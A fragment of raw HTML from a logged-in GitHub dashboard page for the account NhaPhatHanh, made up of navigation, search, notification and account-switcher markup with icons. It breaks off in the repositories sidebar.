no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-owner-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="owner_scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-global-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="global_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-center flex-items-center p-0 f5 js-jump-to-suggestion"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" viewBox="0 0 16 16" fill="none" width="32" height="32" class="m-3 anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </li> </ul> </div> </label> </form> </div> </div> <nav class="d-flex flex-column flex-md-row flex-self-stretch flex-md-self-auto" aria-label="Global"> <a class="Header-link py-md-3 d-block d-md-none py-2 border-top border-md-top-0 border-white-fade-15" data-ga-click="Header, click, Nav menu - item:dashboard:user" aria-label="Dashboard" href="/dashboard"> Dashboard </a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade-15" data-hotkey="g p" data-ga-click="Header, click, Nav menu - item:pulls context:user" aria-label="Pull requests you created" data-selected-links="/pulls /pulls/assigned /pulls/mentioned /pulls" href="/pulls"> Pull<span class="d-inline d-md-none d-lg-inline"> request</span>s </a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade-15" data-hotkey="g i" data-ga-click="Header, click, Nav menu - item:issues context:user" aria-label="Issues you created" data-selected-links="/issues /issues/assigned /issues/mentioned /issues" href="/issues"> Issues </a> <div class="d-flex position-relative"> <a class="js-selected-navigation-item Header-link flex-auto mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade-15" data-ga-click="Header, click, Nav menu - item:marketplace context:user" data-octo-click="marketplace_click" data-octo-dimensions="location:nav_bar" data-selected-links=" /marketplace" href="/marketplace"> Marketplace </a> </div> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade-15" data-ga-click="Header, click, Nav menu - item:explore" data-selected-links="/explore /trending /trending/developers /integrations /integrations/feature/code /integrations/feature/collaborate /integrations/feature/ship showcases showcases_search showcases_landing /explore" href="/explore"> Explore </a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade-15" data-ga-click="Header, click, Nav menu - item:workspaces context:user" data-selected-links="/codespaces /codespaces" href="/codespaces"> Codespaces </a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade-15" data-ga-click="Header, click, Nav menu - item:Sponsors" data-hydro-click="{"event_type":"sponsors.button_click","payload":{"button":"HEADER_SPONSORS_DASHBOARD","sponsorable_login":"NhaPhatHanh","originating_url":"https://github.com/","user_id":83227313}}" data-hydro-click-hmac="e59a001759ac502766a9a79710990f560ffbc26ec341d36fba1e1674a4ab880a" data-selected-links=" /sponsors/accounts" href="/sponsors/accounts">Sponsors</a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade-15" href="/settings/profile"> Settings </a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade-15" href="/NhaPhatHanh"> <img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/83227313?s=40&v=4" width="20" height="20" alt="@NhaPhatHanh" /> NhaPhatHanh </a> <!-- '"` --><!-- </textarea></xmp> --></option></form><form action="/logout" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="/bvHCE5uPa671HZX0lHcfO5NQCGW65I5RiPW/FN+4TZY3UGvvrD3Ul2OVB9nrTCoXNAaoY0jT2eK9JRWIQ8zng==" /> <button type="submit" class="Header-link mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade-15 d-md-none btn-link d-block width-full text-left" data-ga-click="Header, sign out, icon:logout" style="padding-left: 2px;"> <svg class="octicon octicon-sign-out v-align-middle" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 2.75C2 1.784 2.784 1 3.75 1h2.5a.75.75 0 010 1.5h-2.5a.25.25 0 00-.25.25v10.5c0 .138.112.25.25.25h2.5a.75.75 0 010 1.5h-2.5A1.75 1.75 0 012 13.25V2.75zm10.44 4.5H6.75a.75.75 0 000 1.5h5.69l-1.97 1.97a.75.75 0 101.06 1.06l3.25-3.25a.75.75 0 000-1.06l-3.25-3.25a.75.75 0 10-1.06 1.06l1.97 1.97z"></path></svg> Sign out </button> </form></nav> </div> <div class="Header-item Header-item--full flex-justify-center d-md-none position-relative"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-ga-click="Header, go to dashboard, icon:logo"> <svg class="octicon octicon-mark-github v-align-middle" height="32" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> </a> </div> <div class="Header-item mr-0 mr-md-3 flex-order-1 flex-md-order-none"> <notification-indicator class="js-socket-channel" data-test-selector="notifications-indicator" data-channel="eyJjIjoibm90aWZpY2F0aW9uLWNoYW5nZWQ6ODMyMjczMTMiLCJ0IjoxNjE5NTk4OTc0fQ==--730e096ffe8d6c47126ebde7dcc46b346629b78d85c402370d95a91d6b54e5f8"> <a href="/notifications" class="Header-link notification-indicator position-relative tooltipped tooltipped-sw" aria-label="You have no unread notifications" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-target="notification-indicator.link"> <span class="mail-status " data-target="notification-indicator.modifier"></span> <svg class="octicon octicon-bell" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> </a> </notification-indicator> </div> <div class="Header-item position-relative d-none d-md-flex"> <details class="details-overlay details-reset js-header-promo-toggle"> <summary class="Header-link" aria-label="Create new…" data-ga-click="Header, create new, icon:add"> <svg class="octicon octicon-plus" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path></svg> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <a role="menuitem" class="dropdown-item" href="/new" data-ga-click="Header, create new repository"> New repository </a> <a role="menuitem" class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository"> Import repository </a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist"> New gist </a> <a role="menuitem" class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization"> New organization </a> <a role="menuitem" class="dropdown-item" href="/new/project" data-ga-click="Header, create new project"> New project </a> </details-menu> </details> </div> <div class="Header-item position-relative mr-0 d-none d-md-flex"> <details class="details-overlay details-reset js-header-promo-toggle js-feature-preview-indicator-container" data-feature-preview-indicator-src="/users/NhaPhatHanh/feature_preview/indicator_check"> <summary class="Header-link" aria-label="View profile and more" data-ga-click="Header, show menu, icon:avatar"> <img src="https://avatars.githubusercontent.com/u/83227313?s=60&v=4" alt="@NhaPhatHanh" size="20" height="20" width="20" class="avatar-user avatar avatar-small "></img> <span class="feature-preview-indicator js-feature-preview-indicator" style="top: 1px;" hidden></span> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw" style="width: 180px" src="/users/83227313/menu" preload> <include-fragment> <p class="text-center mt-3" data-hide-on-error> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" viewBox="0 0 16 16" fill="none" width="32" height="32" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </p> <p class="ml-1 mb-2 mt-2 color-text-primary" data-show-on-error> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Sorry, something went wrong. </p> </include-fragment> </details-menu> </details> </div> </header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="container-lg px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg class="octicon octicon-x" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div> </div> </template> </div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <aside class="hide-xl hide-lg width-full color-bg-primary border-bottom py-3 p-responsive" aria-label="Account context"> <details class="details-reset details-overlay d-inline-block" id="details-59141b"> <summary class="no-underline btn-link color-text-primary text-bold width-full" title="Switch account context" data-ga-click="Dashboard, click, Opened account context switcher - context:user"> <img src="https://avatars.githubusercontent.com/u/83227313?s=60&v=4" alt="@NhaPhatHanh" size="20" height="20" width="20" class="avatar-user avatar avatar-small "></img> <span class="css-truncate css-truncate-target ml-1">NhaPhatHanh</span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu" role="menu" aria-label="Switch dashboard context" > <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <div class="SelectMenu-title">Switch dashboard context</div> <button class="SelectMenu-closeButton" type="button" aria-label="Close menu" data-toggle-for="details-59141b"> <svg class="octicon octicon-x" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> </header> <div id="filter-menu-59141b" class="d-flex flex-column flex-1 overflow-hidden" > <div class="SelectMenu-list" > <a class="SelectMenu-item" href="/" role="menuitemradio" aria-checked="true" data-ga-click="Dashboard, switch context, Switch dashboard context from:user to:user"> <svg class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <img class="avatar avatar-small mr-2 avatar-user" src="https://avatars.githubusercontent.com/u/83227313?s=40&v=4" width="20" height="20" alt="@NhaPhatHanh" /> <span class="flex-1 css-truncate css-truncate-overflow">NhaPhatHanh</span> </a> <a class="SelectMenu-item" href="/orgs/gamvip88club/dashboard" role="menuitemradio" aria-checked="false" data-ga-click="Dashboard, switch context, Switch dashboard context from:user to:organization"> <svg class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <img class="avatar avatar-small mr-2" src="https://avatars.githubusercontent.com/u/83322843?s=40&v=4" width="20" height="20" alt="@gamvip88club" /> <span class="flex-1 css-truncate css-truncate-overflow">gamvip88club</span> </a> </div> <div class="border-top color-border-secondary position-relative"> <a class="SelectMenu-item" href="/account/organizations" role="menuitem" data-ga-click="Dashboard, click, Manage orgs link in context switcher - context:user"> <svg class="octicon octicon-organization SelectMenu-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 14.25c0 .138.112.25.25.25H4v-1.25a.75.75 0 01.75-.75h2.5a.75.75 0 01.75.75v1.25h2.25a.25.25 0 00.25-.25V1.75a.25.25 0 00-.25-.25h-8.5a.25.25 0 00-.25.25v12.5zM1.75 16A1.75 1.75 0 010 14.25V1.75C0 .784.784 0 1.75 0h8.5C11.216 0 12 .784 12 1.75v12.5c0 .085-.006.168-.018.25h2.268a.25.25 0 00.25-.25V8.285a.25.25 0 00-.111-.208l-1.055-.703a.75.75 0 11.832-1.248l1.055.703c.487.325.779.871.779 1.456v5.965A1.75 1.75 0 0114.25 16h-3.5a.75.75 0 01-.197-.026c-.099.017-.2.026-.303.026h-3a.75.75 0 01-.75-.75V14h-1v1.25a.75.75 0 01-.75.75h-3zM3 3.75A.75.75 0 013.75 3h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 3.75zM3.75 6a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM3 9.75A.75.75 0 013.75 9h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 9.75zM7.75 9a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM7 6.75A.75.75 0 017.75 6h.5a.75.75 0 010 1.5h-.5A.75.75 0 017 6.75zM7.75 3a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5z"></path></svg> Manage organizations </a> <a class="SelectMenu-item" href="/account/organizations/new" role="menuitem" data-ga-click="Dashboard, click, Create org link in context switcher - context:user"> <svg class="octicon octicon-plus SelectMenu-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path></svg> Create organization </a> </div> </div> </div> </details-menu> </details> </aside> <div class="d-flex flex-wrap color-bg-canvas-inset" style="min-height: 100vh;"> <aside class="team-left-column col-12 col-md-4 col-lg-3 color-bg-primary border-right color-border-secondary border-bottom hide-md hide-sm" aria-label="Account"> <div class="dashboard-sidebar js-sticky top-0 px-3 px-md-4 px-lg-5 overflow-auto"> <div class="border-bottom color-border-secondary py-3 mt-3 mb-4"> <details class="details-reset details-overlay d-inline-block" id="details-e5dc02"> <summary class="no-underline btn-link color-text-primary text-bold width-full" title="Switch account context" data-ga-click="Dashboard, click, Opened account context switcher - context:user"> <img src="https://avatars.githubusercontent.com/u/83227313?s=60&v=4" alt="@NhaPhatHanh" size="20" height="20" width="20" class="avatar-user avatar avatar-small "></img> <span class="css-truncate css-truncate-target ml-1">NhaPhatHanh</span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu" role="menu" aria-label="Switch dashboard context" > <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <div class="SelectMenu-title">Switch dashboard context</div> <button class="SelectMenu-closeButton" type="button" aria-label="Close menu" data-toggle-for="details-e5dc02"> <svg class="octicon octicon-x" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> </header> <div id="filter-menu-e5dc02" class="d-flex flex-column flex-1 overflow-hidden" > <div class="SelectMenu-list" > <a class="SelectMenu-item" href="/" role="menuitemradio" aria-checked="true" data-ga-click="Dashboard, switch context, Switch dashboard context from:user to:user"> <svg class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <img class="avatar avatar-small mr-2 avatar-user" src="https://avatars.githubusercontent.com/u/83227313?s=40&v=4" width="20" height="20" alt="@NhaPhatHanh" /> <span class="flex-1 css-truncate css-truncate-overflow">NhaPhatHanh</span> </a> <a class="SelectMenu-item" href="/orgs/gamvip88club/dashboard" role="menuitemradio" aria-checked="false" data-ga-click="Dashboard, switch context, Switch dashboard context from:user to:organization"> <svg class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <img class="avatar avatar-small mr-2" src="https://avatars.githubusercontent.com/u/83322843?s=40&v=4" width="20" height="20" alt="@gamvip88club" /> <span class="flex-1 css-truncate css-truncate-overflow">gamvip88club</span> </a> </div> <div class="border-top color-border-secondary position-relative"> <a class="SelectMenu-item" href="/account/organizations" role="menuitem" data-ga-click="Dashboard, click, Manage orgs link in context switcher - context:user"> <svg class="octicon octicon-organization SelectMenu-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 14.25c0 .138.112.25.25.25H4v-1.25a.75.75 0 01.75-.75h2.5a.75.75 0 01.75.75v1.25h2.25a.25.25 0 00.25-.25V1.75a.25.25 0 00-.25-.25h-8.5a.25.25 0 00-.25.25v12.5zM1.75 16A1.75 1.75 0 010 14.25V1.75C0 .784.784 0 1.75 0h8.5C11.216 0 12 .784 12 1.75v12.5c0 .085-.006.168-.018.25h2.268a.25.25 0 00.25-.25V8.285a.25.25 0 00-.111-.208l-1.055-.703a.75.75 0 11.832-1.248l1.055.703c.487.325.779.871.779 1.456v5.965A1.75 1.75 0 0114.25 16h-3.5a.75.75 0 01-.197-.026c-.099.017-.2.026-.303.026h-3a.75.75 0 01-.75-.75V14h-1v1.25a.75.75 0 01-.75.75h-3zM3 3.75A.75.75 0 013.75 3h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 3.75zM3.75 6a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM3 9.75A.75.75 0 013.75 9h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 9.75zM7.75 9a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM7 6.75A.75.75 0 017.75 6h.5a.75.75 0 010 1.5h-.5A.75.75 0 017 6.75zM7.75 3a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5z"></path></svg> Manage organizations </a> <a class="SelectMenu-item" href="/account/organizations/new" role="menuitem" data-ga-click="Dashboard, click, Create org link in context switcher - context:user"> <svg class="octicon octicon-plus SelectMenu-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path></svg> Create organization </a> </div> </div> </div> </details-menu> </details> </div> <div class="mb-3 Details js-repos-container " data-repository-hovercards-enabled id="dashboard-repos-container" data-pjax-container role="navigation" aria-label="Repositories"> <div class="js-repos-container" id="repos-container" data-pjax-container> <h2 class="f4 hide-sm hide-md mb-1 f5 d-flex flex-justify-between flex-items-center"> Repositories <a class="btn btn-sm btn-primary color-text-white" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"NEW_REPOSITORY_BUTTON","dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="269f96c8b7925798dca252ba25ee3a5820270ba3fdf7d20d20e789a0179be9aa" data-ga-click="Dashboard, click, Sidebar header new repo button - context:user" href="/new"> <svg class="octicon octicon-repo" height="16" 